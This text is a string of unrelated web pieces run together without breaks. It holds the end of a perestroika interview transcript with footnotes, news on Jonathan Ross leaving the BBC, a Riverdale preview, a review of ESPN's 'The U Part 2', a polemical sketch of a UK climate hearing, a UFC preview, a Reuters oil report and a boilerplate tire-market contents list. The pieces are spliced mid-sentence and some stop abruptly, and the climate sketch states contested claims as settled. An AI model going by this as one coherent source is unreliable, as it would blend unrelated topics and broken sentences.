a recrudescence of output. For instance, between 1986 and 88 there was a 17% increase in housing production in the Soviet Union. There was a 30% increase in overall production. The production, the economy, accelerated in the period 1986-88. In those three years the economy accelerated, but as I said, there were two stages of perestroika. There was a stage of perestroika where the effects were quite beneficial, where it was clear that perestroika and glasnost were aiming to energize and develop andfree and move forward the Soviet Union. As a friend of mine said, the only way to ensure the social development of the Soviet Union is to undertake these reforms, but there was another stage, a second stage beginning in late 1988 to, obviously, the end of 1991, where the forces that were unleashed utilized the reform program to destroy socialism, clearly to destroy socialism, and Mr. Gorbachev was either helpless before that or a willing apprentice of that process. I could not pretend to pronounce which of those was the case. It’s very difficult to say. On the other hand, I really don’t know how anybody in his right mind could have conceived of the notion that the way forward for the Soviet Union—and this was the quintessential statement of perestroika by the principle Soviet leaders in the mid-1980s—the way for the Soviet Union was to integrate the Soviet Union into the world economy. I mean to an economist with any degree of sophistication and critical approach, that is sheer unadulterated madness. It’s like saying that the North American free trade agreement will lead to real economic development in Mexico. It’s absurd. I mean we know what those processes are. How can a much weaker, less industrialized Soviet Union hope to stand up against the economic forces arrayed against it and capable of penetrating it, once it declares its intention to integrate itself into the world economy? When I heard that, I said, “It’s all over, boys. These people don’t know that they’re doing,” and indeed, listening to Soviet economists as I did when I was still teaching in Paris, and meeting with some of these people, until 1989, I got the impression of two things: they had not the least actual understanding of what was going on in the West, and that their theoretical conceptions were taken out of a handbook by Voltaire making fun of the French aristocracy. Transcript produced by Youtube “auto-caption” speech recognition software, corrected and edited by blog author, Dennis Riches. Notes [i] Davis Guggenheim (Director), Al Gore (Writer), “An Inconvenient Truth,” Paramount Classics, 2006. [ii] Jason W. Moore, Capitalism in the Web of Life (Verso, 2015), 267-268. “What is really needed is proper planning of available resources globally, plus a drive, through public investment, to develop new technologies that could work… and, of course, a shift out of fossil fuels into renewables. Also, it is not just a problem of carbon and other gas emissions, but of cleaning up the environment, which is already damaged. All these tasks require public control and ownership of the energy and transport industries and public investment in the environment for the public good.” [iii] Sean Gervasi, “Western Intervention in the USSR,” Covert Action Information Bulletin No. 39, Winter 1991-92, 4-9. [iv] Sean Gervasi, “Why Is NATO In Yugoslavia?” Global Research, September 9, 2001,https://www.globalresearch.ca/why-is-nato-in-yugoslavia/21008. This paper was presented by Sean Gervasi at The Conference on the Enlargement of NATO in Eastern Europe and the Mediterranean, Prague, January 13-14, 1996. [v] Gary Wilson, “Economist Exposed U.S.-German Role in Balkans,” Workers World News Service, Aug. 29, 1996, https://www.workers.org/ww/1997/gervasi.html. The short biography written here borrowed some wording and information from this obituary published by Workers World News Service. [vi] Helen Thomas, “Reagan approves tough strategy with Soviets,” United Press International (UPI), May 21, 1982, https://www.upi.com/Archives/1982/05/21/Reagan-approves-tough-strategy-with-Soviets/7761390801600/. [vii] Richard Halloran, “Pentagon Draws up First Strategy for Fighting a Long Nuclear War,” The New York Times, May 5, 1982, http://www.nytimes.com/1982/05/30/world/pentagon-draws-up-first-strategy-for-fighting-a-long-nuclear-war.html?pagewanted=all. The reference appears to be to this article. The dates 1984-1988 may appear to be an error because the report referred to was written in 1982. However, the Defense Guidelines were focused on plans for the future, fiscal years of 1984-1988. [viii] David Ignatius, “Innocence Abroad: The New World of Spyless Coups,” The Washington Post, September 22, 1991, https://www.washingtonpost.com/archive/opinions/1991/09/22/innocence-abroad-the-new-world-of-spyless-coups/92bb989a-de6e-4bb8-99b9-462c76b59a16/?utm_term=.e9976e81e6d1. [ix] As we know from the perspective of 2017, the normalization of such interventions continued shamelessly, going from a bad habit to a deranged addiction. The political establishment in America now resorts to economic warfare, violence and military intervention as the solutions for every problem in international relations. All images, except the featured, in this article are from the author.Jonathan Ross to quit as TV and radio host with the BBC Please turn on JavaScript. Media requires JavaScript to play. Advertisement Jonathan Ross has announced he is leaving the BBC, after 13 years working for the corporation. Ross, 49, who is the BBC's highest paid star, said in a statement he had decided not to renegotiate his contract when it ends in July. The presenter added his decision to leave was not "financially motivated". In 2008, the controversial host was suspended for making a series of phone calls to actor Andrew Sachs on Russell Brand's Radio 2 show. Working at the BBC has been a tremendous privilege, and I would like to thank everyone who has watched and listened so loyally over the last 13 years Jonathan Ross Jonathan Ross's statement in full Have Your Say: Ross quits the BBC Delivering a tray of tea to reporters standing in the snow outside his north London home, Ross said: "It's probably not a bad time for me to move on - and it's probably not a bad time for the BBC, either. "I've got six months left, I'm hoping to make the best shows of my career with them." One of the biggest names at the BBC, Ross currently hosts his own Friday night chat show, Radio 2 show and a film review programme. The announcement comes a day after it was revealed that Graham Norton had signed a two-year deal with the corporation prompting newspaper speculation that he would take over Ross's Friday night slot on BBC One. But BBC creative director Alan Yentob said it was "too premature" to make such decisions. He added: "You don't need to compare Graham with Jonathan Ross. No decisions have been taken with that slot." 'Wonderful time' It was reported that Ross's contract, which secured his services for the three years up to July 2010, was worth £18m. The BBC has never confirmed that amount, but it was expected that Ross would be asked to accept a pay cut, following the lead of other big stars, such as Bruce Forsyth and Chris Moyles. "Although I have had a wonderful time working for the BBC, and am very proud of the shows I have made while there, over the last two weeks I have decided not to re-negotiate when my current contract comes to an end," Ross said. INSIDER'S VIEW Torin Douglas, Media correspondent This has come out of the blue. For Ross to give up his radio as well as his television shows is what has really surprised people, because he loved radio and the Radio 2 show was a big success. Since "Sachsgate" he has reined back, and when he reins back you realise what a good broadcaster he is. He manages to attract a young audience, even though he's getting older himself, but still get a mainstream audience. That's why he's a very valuable property. A lot of people hate him and think he stands for all the things that the BBC should not stand for, but lots of others love him. Channel 4 will be very interested in trying to get him. Graham Norton could be a ready-made TV replacement - in that way the BBC is well placed. For the Film 2010 show, Mark Kermode from 5 live is a potential successor. But replacing Ross on radio will be harder. "While there, I have worked with some of the nicest and most talented people in the industry and had the opportunity to interview some of the biggest stars in the world, and am grateful to the BBC for such a marvellous experience. "Lucrative offers" "I would like to make it perfectly clear that no negotiations ever took place and that my decision is not financially motivated. He said that he had previously turned down "more lucrative offers from other channels" because the BBC was "where I wanted to be". He added: "As I have said before - I would happily have stayed there for any fee they cared to offer, but there were other considerations. "I love making my Friday night talk show, my Saturday morning radio show and the Film Programme, and will miss them all." The star said he will remain working for the BBC until the summer and will continue hosting the Bafta Film Awards, Comic Relief and other BBC specials. "Working at the BBC has been a tremendous privilege, and I would like to thank everyone who has watched and listened so loyally over the last 13 years." Please turn on JavaScript. Media requires JavaScript to play. Jana Bennett, director of BBC Vision, said she could "understand" Ross's decision "following a difficult year". She called him an "extremely talented broadcaster" and said all his programmes had been a "great success". "I'm pleased that Jonathan will continue to apply his considerable abilities to the remaining six months of Friday Night, Film 2010 and his Radio 2 show," she said. "I'm delighted that he will continue to present the Bafta awards and Comic Relief for BBC Television." Ross has thanked fans posting on micro-blogging site Twitter, "Thanks for all the kind words about my decision. I feel sad that I can't keep making the shows so many of you love!" Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable versionTo read more on EW’s Fall TV Preview, pick up the new issue of Entertainment Weekly on stands now, or buy it here. To purchase the cover featuring EW’s Cover Battle winners, Riverdale, click here. Don’t forget to subscribe for more exclusive interviews and photos, only in EW. While things are getting waaaaay darker this season on Riverdale, one couple is actually heating up amidst the terror. Archie (KJ Apa) and Veronica (Camila Mendes) are kicking things up a notch in season 2. “We’re even more sexual now,” says Mendes. “Death brings out certain passions or thirst for life. So they’ve definitely been friskier. But I think now because of all this darkness and stuff in Archie’s life and Veronica’s as well, their relationship does feel more grounded. It has more substance than just physical.” Adds executive producer Roberto Aguirre-Sacasa, “It’s sort of a bit more primal and volatile than say Jughead and Betty are.” Eric Ray Davidson for EW GALLERY: Exclusive Photos of the Riverdale Cast During the EW Cover Shoot Also affecting their relationship is the arrival of Veronica’s father, Hiram (Mark Consuelos). “I think he’s investing a little bit in Archie and Veronica doesn’t know what he’s up to,” says Mendes. “And Veronica’s gonna turn into daddy’s little girl trying to impress him.”View Caption Hide Caption The U Part 2 premieres after the Heisman Trophy presentation Dec. 13 on ESPN. There’s a little-publicized fact director Billy Corben wishes he had included in his wildly popular 2009 film, ‘The U.” In 1980, a year after UM hired Howard Schnellenberger, he was informed the NCAA would penalize his team for transgressions under the previous coach, Lou Saban. Adding insult to injury, the infraction was reported by the hated Florida Gators. Had Corben mentioned that, it would have added even more to his latest piece – and potentially, the one that follows. As is, he has plenty of material to work with. The U Part 2 premieres at 9 p.m. Dec. 13 on ESPN, following the Heisman Trophy presentation. Like the original, it’s a rise-and-fall story told by the players, coaches and other characters that lived it. The original dealt with the rise of the bad-boy Canes of the 1980s and early ‘90s. The two-hour sequel brings the narrative to the present day. Corben, a UM alum, and his Rakontur Films first pitched a sequel to ‘The U’ to ESPN in 2009, shortly after it became the highest-rated documentary in the network’s 30 for 30 series. He was finally given the green light last May. “We usually get to live a lot longer with these things before we release them into the world,” he said Friday over the phone, after the Post viewed a rough cut of the film. “We started working on this May 16. The turnaround is just nuts.” It is sure to be a smash hit with UM fans. But while the original was a fist-pumping nostalgia trip, and the sequel hits soaring high notes, it ultimately presents a program facing an uncertain future. It is a story told in six acts, beginning with the hire of Butch Davis, the Pell Grant and pay-for-play scandal and the NCAA sanctions, through 1999. The second part covers the 2000 season, instrumental in re-establishing UM’s confidence. The glory of the 2001 title team is next, followed by the downfall of a program that spiraled out of control under Larry Coker and Randy Shannon. The film then takes full measure of Nevin Shapiro and ends with Al Golden’s hiring and his NCAA drama – right up until last week’s loss to Pittsburgh. More than a decade after Schnellenberger, Davis was hired under similar – but far more crippling – circumstances. Overcoming the loss of 31 scholarships and a Sports Illustrated cover story that called for UM to end its football program, he built arguably the greatest college football team ever. As Golden faces an uncertain future after his fourth year, the film leaves it an open question whether he can build a winner from his own tumultuous tenure. Golden, whose team is 6-6 heading into its yet-to-be-announced bowl game, bore the brunt of misdeeds Shapiro, the former booster and now-incarcerated Ponzi schemer, committed under previous coaches. Angry fans flew a “Fire Al Golden, Save the U” this year, just as those upset with Davis flew a “champs to chumps” banner over the Orange Bowl as the Canes went 5-7 in 1997. Three seasons later, Davis’ team was a national title contender. Though former UM tight end Greg Olsen said in the film Golden’s run looks “eerily similar” to Davis’, Corben left it ambiguous. “It all does feel very cyclical,” he said. “I feel the times are different. It’s more creatively and dramatically sound to compare [Davis to Golden], than the actual comparison in reality. We planned on doing it to the present day, not knowing what was going to happen.” Given the current nature of the subject, Corben said it was difficult to reach a satisfying conclusion. “Is it bittersweet? Is it hopeful? I think it strikes every chord at the end,” he said. “I hope it’s not a clash of ideas.” Davis, now 63 and an ESPN analyst, plays a starring role. Among the others interviewed: ex-Canes Jonathan Vilma, Phillip Buchanon (who, for the record, does not bash Golden), Santana Moss, Ed Reed, Clinton Portis, Jeremy Shockey, Antrel Rolle, D.J. Williams, Mike Rumph, Brett Romberg, Najeh Davenport, Ken Dorsey and Bryant McKinnie, and former coaches Coker and Don Soldinger. In the Shapiro chapter, former UM equipment manager and Shapiro chum Sean “Pee Wee” Allen makes an appearance, as does former UM safety Randy Phillips. Since UM did not permit Corben to interview current employees – as it did not for the original version – Golden and President Donna Shalala appear only in archival footage. The other key interviews he was unable to land: Shannon, now at Arkansas, and Shapiro, who he said was under prison lockdown at the time of filming. Also not interviewed: a certain infamous referee — though he is treated with the proper amount of contempt. The early part of the film, featuring fiery leaders like late UM safety Al Blades, will leave many fans pining for the old days. “There’s a very popular [sentiment]: How do we get it back? How do we go back?” Corben said. “You can’t ever go back. It’s a different time. There are different players. There are different coaches. Maybe you can start winning again, but you don’t ever get to go back.” Given the rise in academic standing and millions of dollars in campus facilities, UM alums often say their degree is worth more now than ever. Corben isn’t complaining about that. But he matter-of-factly observes the Hurricanes aren’t on the same playing field as the teams that currently win titles. “It seems big-time college football has passed the University of Miami by,” he said. “[UM] is not interested in investing in the billion-dollar college football business. They are content with their current margins. They are content to provide the minimal investment that they’re willing to make, for the revenue that that yields. That’s not a criticism. If you’re interested in hospitals and education – that’s just a question of priorities. “It has not ever been a football school … No one thought Howard Schellenberger could do it. No one thought Jimmy Johnson and Dennis Erickson and Butch Davis and Larry Coker could do it.” The U Part 2 is the first 30 for 30 sequel. We are perhaps now living the third part of a trilogy, though it’s unknown whether Golden or someone else will lead the next rise of the ‘U.’ “I think the answer is in Act 1 of this movie, or in Act 1 of the previous movie,” Corben said. “The formula for building the best college football team is there somewhere. Some of it’s very obvious, some of if you have to read between the lines, but the formula for what Butch Davis and Howard Schenellenberger did, it’s there somewhere. “It’s up to a new generation to figure it out.”+Sketch MPs begged scientists to tell them what to do at Westminster this week. "I like the idea science tells us something, and we have to agree," said John Robertson (Lab, Glasgow North West) - surely a candidate for Quote of the Year in any year. As we shall discover, the MPs of Parliament's Energy and Climate Change Committee were clearly pleading to be released from the job of doing politics. Or were they just begging to be saved from themselves? Robertson was speaking at the select committee's enquiry into the into the IPCC's latest climate report. This saw MPs quizzing the British representatives on the IPCC process - for which you ultimately pick up the bill - as well as leading scientific critics. If we outline the context, you will begin to see the problem with Robertson's plea. Even when the science is as "certain" as it can possibly be, a range of policy choices are available. These must be presented to us, and decided democratically. For example, imagine it was discovered that a large meteorite would strike Earth this year on the 1 September. Scientists could predict the precise moment of impact, and models would make a reasonable prediction of the consequences. In this hypothetical situation, the science is as certain as it can be. But politicians would still need to present us with choices: move to higher ground? Take the rest of the year off? Build underground bunkers for the elite? Politicians have to be creative and accountable, no matter how "certain" they think the science may be. In climate change, however, the political class has deferred the choices to the scientists to make - and this means taking the choice away from us. Politicians want a strong, simple story of "certainty". As one British civil servant wrote to a leading climate scientist in 2009: I can’t overstate the HUGE amount of political interest in the project as a message that the Government can give on climate change to help them tell their story. They want the story to be a very strong one and don’t want to be made to look foolish. In other words, scientists were being asked to perform a propaganda function, while the politicians retained the luxury of passing the buck. Some scientists eagerly stepped up to the propaganda role - yet the task made other scientists queasy. One climate boffin, Peter Thorne, privately fretted the same year: “The science is being manipulated to put a political spin on it which for all our sakes might not be too clever in the long run." Yet another climate scientist another admitted the "evidence" the politicians were demanding simply wasn't up to snuff, writing: "It is inconceivable that policymakers will be willing to make billion-and trillion-dollar decisions for adaptation to the projected regional climate change based on models that do not even describe and simulate the processes that are the building blocks of climate variability.” That was written five years ago. Today, it's a different picture. The international treaty process collapsed in Copenhagen in 2009, because China, India, the BRICs and African nations need cheap fossil fuels to raise their billions out of agrarian poverty. After 17 years of plateauing temperatures (the "hiatus") the climate models look as if they may substantially overestimate the impact of atmospheric CO2. The public's interest in climate change has diminished, outside a tiny section of the middle class – the fretters and worrywarts whose livelihoods depend on The Cause. The cost-of-living impact of climate mitigation policies, imposed to subsidise extremely expensive energy from renewables, is already beginning to be felt, and will cost ordinary households thousands of pounds in the next decade - for very small reductions in carbon emissions. The majority aren't angry climate sceptics. They are "So What?"-ers. "So what if humans cause the climate to change?"; "It isn't it likely to be catastrophic here, we're likely to cope, so what?" and "So what if it gets a degree or two warmer - I prefer a warmer climate." These are reasonable things to say. MPs therefore had the perfect opportunity to reassess their junkie-like dependence on their hand-picked IPCC scientists. But they decided to hold onto Nurse for now - for fear of something worse. The establishment scientists, less surprisingly, appeared keen to maintain their influence on the policy being made. The unwritten pact between the scientific elite and the political elite which appoints them will go on for a little longer. Here's how an enthralling session unfolded. The Uncertainty Elephant The session assembled three figures from the British climate establishment and three with a less apocalyptic view of global warming. Batting for the establishment were Professor Myles Allen of Oxford University, Dr Peter Stott of the Met Office and Sir Brian Hoskins of the Grantham Institute for Climate Change at Imperial College London - one of two facilities created by grants from billionaire Malthusian Jeremy Grantham. They were followed by atmospheric physicist Professor Richard Lindzen of MIT, independent scientist Nic Lewis, and Donna Lamframboise, a journalist and critic of the IPCC. MPs heard how closely the bureaucratic establishment and scientists are yoked. The IPCC is an intergovermental process, with governments having the final say on the report, and politicians and bureaucrats are able to rewrite the final draft of "the science" to their taste. Since it's all very laborious and time consuming (and unpaid work for the scientists) it's governments who hand-pick the scientists and pick up their expenses. Lindzen, who made key contributions to modern climate theory, was a lead author for the third assessment report in 2001 but later dropped out. "Climate science is virtually a government monopoly," Lindzen told the MPs. The elephant in the room was "natural variability" - how much the climate changes on its own. Both Lewis and Lindzen attribute a portion of climate change to human factors, but it's a lower number than the establishment science range. Lindzen tried to explain that the temperature hiatus really ought cause some soul-searching amongst the establishment's climate modellers. "The longer this goes on the harder it will be to support a high climate sensitivity. It wasn't predicted," said Lindzen. Lewis' own work concludes that CO 2 has an impact
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Both fighters have returned to the octagon since illness forced Usman (10-1 MMA, 5-0 UFC) out of their original UFC 198 encounter. On the very night they were supposed to meet, Moraes (12-2-1 MMA, 6-1-1 UFC) fought short-notice replacement and UFC newcomer Luan Chagas to a draw. Since then, he’s picked up a pair of decision wins over Zak Ottow and Davi Ramos. Usman, winner of Season 21 of “The Ultimate Fighter,” has added three fights to his perfect UFC record since, against Alexander Yakovlev, Warlley Alves and Sean Strickland. In his case, however, they were not only all wins – but all dominant unanimous decisions. The ever-evolving Usman has, of course, been building his strengths between their original date and Saturday’s UFC Fight Night 116 encounter. But he says the outcome, except for perhaps some added grudge, won’t be that much different. “I was going to beat him up just as bad last time,” Usman told MMAjunkie. “This time, actually, I might beat him up way worse just because he said some things in the media that he hoped I show up. I got sick very, very bad during that time. Of course, I never want to pull out of a fight. But I was so sick, and then I had to travel all the way down to Brazil – and that was that period when the zika virus was going around really, really bad. “So, it wasn’t worth the risk for me to go out there and put on a terrible performance, and then come home saying, ‘You know what, I shouldn’t have done that.’ I don’t leave anything to chance. The whooping is still going to be just as bad – if not worse this time.” If Usman sounds exceedingly confident heading into the FS1-televised main 0card welterweight bout, which takes place at PPG Paints Arena in Pittsburgh, that could be because, well, he is. Currently boasting a divisional best five-fight winning streak, he hasn’t really been lacking on reasons to feel that way. “I don’t do this because I can’t do anything else,” Usman said. “I don’t do this because I came (into it) so poor. Yes, I came up poor, but I’m educated. I went to school. I went to college. I can go get a job and sit at a desk and make salary and support my family. I do this because of competition. I love competition. I made a decision and I made a pact to myself that I wanted to be the best at the world at this. “That is the main reason to why I do this. Each and every fight, each and very time I come out is a reassurance that I’m on the right track of doing it. I think I’m maybe 35, 40 percent of my capabilities, the level I can get to. But even at 35, 40 percent – I still believe I, if not the best in the world, I am probably the top two, top three best in the world right now.” Of course, looking to stop Usman on his tracks is a man who’s no slouch, either. Since a setback in his 2012 UFC debut – when he stepped in to replace Daniel Sarafian against Cezar Mutante at “The Ultimate Fighter: Brazil” finale – Moraes has shown vast improvements in a game that once revolved basically around his lauded grappling chops. Like Usman, Moraes currently holds a divisional best with an unbeaten seven-fight streak. On his end, Usman can’t deny the fact Moraes has managed to put together a pretty solid UFC record. But, he’s simply not that impressed with the way he’s accomplished it. “He’s a guy that’s satisfied – he just wants to get by,” Usman said. “That’s exactly what his career has been: getting by. Each and every win have been close split decision wins – ‘Oh, I got by.’ Or it’s a draw, this and that. You fought a guy who took the fight on five or six days’ notice and went to a draw with him. I mean, he’s been getting by and getting by quietly. And I am the wrong guy for that. “And I believe I’m the wrong guy in the division for anybody to even think about getting by. Which is why nobody wants to take this fight. Nobody calls me out. Why would they? Why would I call out a guy and get my butt kicked by him? No one does that. At the end of the day, he’s put together six or seven wins in a row. But that’s not going to stop what I’m going to do.” To hear more from Usman, check out the video above. And for more on UFC Fight Night 116, check out the UFC Rumors section of the site.NEW YORK (Reuters) - Oil prices fell 4 percent on Friday, paring most of the previous session’s rise as traders noted that a tropical storm was behind this week’s unexpected slump in U.S. crude inventories. Oil pump jacks are seen next to a strawberry field in Oxnard, California February 24, 2015. REUTERS/Lucy Nicholson The market ended up around 3 percent, its first gain in three weeks. Traders cited hopes for a global deal on stabilizing crude output after Saudi Arabia, the leading oil producer inside OPEC, and Russia, the biggest producer outside the group, agreed on Monday to cooperate in oversupplied markets. Brent crude LCOc1 settled down $1.98 at $48.01 a barrel after rising above $50 for the first time in two weeks on Thursday. U.S. crude CLc1 was down $1.74 at $45.88. Oil prices shot up on Thursday after U.S. government data showed the biggest weekly drop in stockpiles last week since January 1999 as Gulf Coast imports slumped to the lowest on record. <EIA/S> Traders said imports fell as ships delayed offloading cargoes due to Tropical Storm Hermine. “Most of yesterday’s increase was on a false reading on a drop in crude oil stocks. But a closer look showed that it was mostly due to the storm delaying imports,” said James Williams, president of energy consultant WTRG Economics in Arkansas. “Next week, we’re going to see a tremendous increase in oil stocks because of all the oil that did not come in last week because of Hermine,” Williams said. U.S. drillers this week added oil rigs for a 10th week in the past 11, according to the closely followed Baker Hughes rig count report on Friday. It was the longest streak without rig cuts since 2011. Greenback-denominated oil was under pressure after the dollar index.DXY rose on concerns over the health of the EU economy and on remarks by Federal Reserve policymakers helped boost investor expectations of a near-term increase in U.S. interest rates. [USD/] Trading was fairly thin on Friday, and analysts and traders kept debating how effective a deal would be to limit supply should OPEC and non-OPEC producers agree when they meet informally in Algeria on Sept. 26-28. Algeria’s oil minister on Friday said two separate agreements could be required between OPEC and non-OPEC producers. The International Energy Agency has said it expects oil demand to exceed supply in the third quarter of 2016, meaning record global crude stockpiles should start falling. But analysts from Morgan Stanley said in a note there were risks the market might not rebalance until “late 2017, or even 2018.” The oil options market indicates investors are not betting on a producer deal this month, although they are growing more optimistic that the market will eventually move closer to balance.Specialty Tire Market "Specialty tires are designed for specific weather conditions or specific vehicles. Specialty Tire Market covers agriculture tires, OTR Tire and other tires. Agriculture tires generally refer to tires equipped on agricultural machinery and vehicles. As the working conditions are different, the features and specifications of agriculture tires are not same to tires for common vehicles. OTR Tires (Off-the-road tires) are utilized for large-scale machinery at construction and mining and other sites with no roads. These tires mainly made with premium casings and durable compounds. Off-the-road tires offer substantial support for machinery used at various civil engineering sites, including ultra-large dump trucks, earth and gravel at mining and dam construction sites, bulldozers for earth removal and graders for road construction and snow removal. " Scope of the Report: Specialty Tire Market focuses on the Specialty Tire Consumption in Global market, especially in North America, Europe and Asia-Pacific, South America, Middle East and Africa. Specialty Tire Market categorizes the market based on manufacturers, regions, type and application. Market Segment by Manufacturers, Specialty Tire Market covers Michelin Bridgestone Goodyear Titan Pirelli Continental BKT ATG Yokohama Trelleborg Mitas Chemchina Triangle Guizhou Tire Xingyuan Giti Xugong Linglong Zhongce Sumitomo Cheng Shin MRF Kumho Apollo Nokian Market Segment by Regions, regional analysis covers North America (USA, Canada and Mexico) Europe (Germany, France, UK, Russia and Italy) Asia-Pacific (China, Japan, Korea, India and Southeast Asia) South America, Middle East and Africa Market Segment by Type, covers Radial Agriculture Tires Bias (Crossply) Agriculture Tires Market Segment by Applications, can be divided into Agricultural equipment Off-road vehicles Others There are 13 Chapters to deeply display the global Specialty Tire Consumption market. Chapter 1, to describe Specialty Tire Consumption Introduction, product scope, market overview, market opportunities, market risk, market driving force; Chapter 2, to analyze the top manufacturers of Specialty Tire Consumption, with sales, revenue, and price of Specialty Tire Consumption, in 2015 and 2016; Chapter 3, to display the competitive situation among the top manufacturers, with sales, revenue and market share in 2015 and 2016; Chapter 4, to show the global market by regions, with sales, revenue and market share of Specialty Tire Consumption, for each region, from 2011 to 2016; Chapter 5, 6, 7 and 8, to analyze the key regions, with sales, revenue and market share by key countries in these regions; Chapter 9 and 10, to show the market by type and application, with sales market share and growth rate by type, application, from 2011 to 2016; Chapter 11, Specialty Tire Consumption market forecast, by regions, type and application, with sales and revenue, from 2016 to 2021; Chapter 12 and 13, to describe Specialty Tire Consumption sales channel, distributors, traders, dealers, appendix and data source. Table of Contents Global Specialty Tire Consumption Market by Manufacturers, Regions, Type and Application, Forecast to 2021 1 Market Overview 1.1 Specialty Tire Consumption Introduction 1.2 Market Analysis by Type 1.2.1 Radial Agriculture Tires 1.2.2 Bias (Crossply) Agriculture Tires 1.2.3 1.3 Market Analysis by Applications 1.3.1 Agricultural equipment 1.3.2 Off-road vehicles 1.3.3 Others 1.4 Market Analysis by Regions 1.4.1 North America (USA, Canada and Mexico) 1.4.1.1 USA 1.4.1.2 Canada 1.4.1.3 Mexico 1.4.2 Europe (Germany, France, UK, Russia and Italy) 1.4.2.1 Germany 1.4.2.2 France 1.4.2.3 UK 1.4.2.4 Russia 1.4.2.5 Italy 1.4.3 Asia-Pacific (China, Japan, Korea, India and Southeast Asia) 1.4.3.1 China 1.4.3.2 Japan 1.4.3.3 Korea 1.4.3.4 India 1.4.3.5 Southeast Asia 1.4.4 South America, Middle East and Africa 1.4.4.1 Brazil 1.4.4.2 Egypt 1.4.4.3 Saudi Arabia 1.4.4.4 South Africa 1.4.4.5 Nigeria 1.5 Market Dynamics 1.5.1 Market Opportunities 1.5.2 Market Risk 1.5.3 Market Driving Force 2 Manufacturers Profiles 2.1 Michelin 2.1.1 Business Overview 2.1.2 Specialty Tire Consumption Type and Applications 2.1.2.1 Type 1 2.1.2.2 Type 2 2.1.3 Michelin Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.2 Bridgestone 2.2.1 Business Overview 2.2.2 Specialty Tire Consumption Type and Applications 2.2.2.1 Type 1 2.2.2.2 Type 2 2.2.3 Bridgestone Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.3 Goodyear 2.3.1 Business Overview 2.3.2 Specialty Tire Consumption Type and Applications 2.3.2.1 Type 1 2.3.2.2 Type 2 2.3.3 Goodyear Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.4 Titan 2.4.1 Business Overview 2.4.2 Specialty Tire Consumption Type and Applications 2.4.2.1 Type 1 2.4.2.2 Type 2 2.4.3 Titan Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.5 Pirelli 2.5.1 Business Overview 2.5.2 Specialty Tire Consumption Type and Applications 2.5.2.1 Type 1 2.5.2.2 Type 2 2.5.3 Pirelli Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.6 Continental 2.6.1 Business Overview 2.6.2 Specialty Tire Consumption Type and Applications 2.6.2.1 Type 1 2.6.2.2 Type 2 2.6.3 Continental Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.7 BKT 2.7.1 Business Overview 2.7.2 Specialty Tire Consumption Type and Applications 2.7.2.1 Type 1 2.7.2.2 Type 2 2.7.3 BKT Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.8 ATG 2.8.1 Business Overview 2.8.2 Specialty Tire Consumption Type and Applications 2.8.2.1 Type 1 2.8.2.2 Type 2 2.8.3 ATG Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.9 Yokohama 2.9.1 Business Overview 2.9.2 Specialty Tire Consumption Type and Applications 2.9.2.1 Type 1 2.9.2.2 Type 2 2.9.3 Yokohama Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.10 Trelleborg 2.10.1 Business Overview 2.10.2 Specialty Tire Consumption Type and Applications 2.10.2.1 Type 1 2.10.2.2 Type 2 2.10.3 Trelleborg Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.11 Mitas 2.11.1 Business Overview 2.11.2 Specialty Tire Consumption Type and Applications 2.11.2.1 Type 1 2.11.2.2 Type 2 2.11.3 Mitas Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.12 Chemchina 2.12.1 Business Overview 2.12.2 Specialty Tire Consumption Type and Applications 2.12.2.1 Type 1 2.12.2.2 Type 2 2.12.3 Chemchina Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.13 Triangle 2.13.1 Business Overview 2.13.2 Specialty Tire Consumption Type and Applications 2.13.2.1 Type 1 2.13.2.2 Type 2 2.13.3 Triangle Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.14 Guizhou Tire 2.14.1 Business Overview 2.14.2 Specialty Tire Consumption Type and Applications 2.14.2.1 Type 1 2.14.2.2 Type 2 2.14.3 Guizhou Tire Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.15 Xingyuan 2.15.1 Business Overview 2.15.2 Specialty Tire Consumption Type and Applications 2.15.2.1 Type 1 2.15.2.2 Type 2 2.15.3 Xingyuan Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.16 Giti 2.16.1 Business Overview 2.16.2 Specialty Tire Consumption Type and Applications 2.16.2.1 Type 1 2.16.2.2 Type 2 2.16.3 Giti Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.17 Xugong 2.17.1 Business Overview 2.17.2 Specialty Tire Consumption Type and Applications 2.17.2.1 Type 1 2.17.2.2 Type 2 2.17.3 Xugong Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.18 Linglong 2.18.1 Business Overview 2.18.2 Specialty Tire Consumption Type and Applications 2.18.2.1 Type 1 2.18.2.2 Type 2 2.18.3 Linglong Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.19 Zhongce 2.19.1 Business Overview 2.19.2 Specialty Tire Consumption Type and Applications 2.19.2.1 Type 1 2.19.2.2 Type 2 2.19.3 Zhongce Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.20 Sumitomo 2.20.1 Business Overview 2.20.2 Specialty Tire Consumption Type and Applications 2.20.2.1 Type 1 2.20.2.2 Type 2 2.20.3 Sumitomo Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.21 Cheng Shin 2.21.1 Business Overview 2.21.2 Specialty Tire Consumption Type and Applications 2.21.2.1 Type 1 2.21.2.2 Type 2 2.21.3 Cheng Shin Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.22 MRF 2.22.1 Business Overview 2.22.2 Specialty Tire Consumption Type and Applications 2.22.2.1 Type 1 2.22.2.2 Type 2 2.22.3 MRF Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.23 Kumho 2.23.1 Business Overview 2.23.2 Specialty Tire Consumption Type and Applications 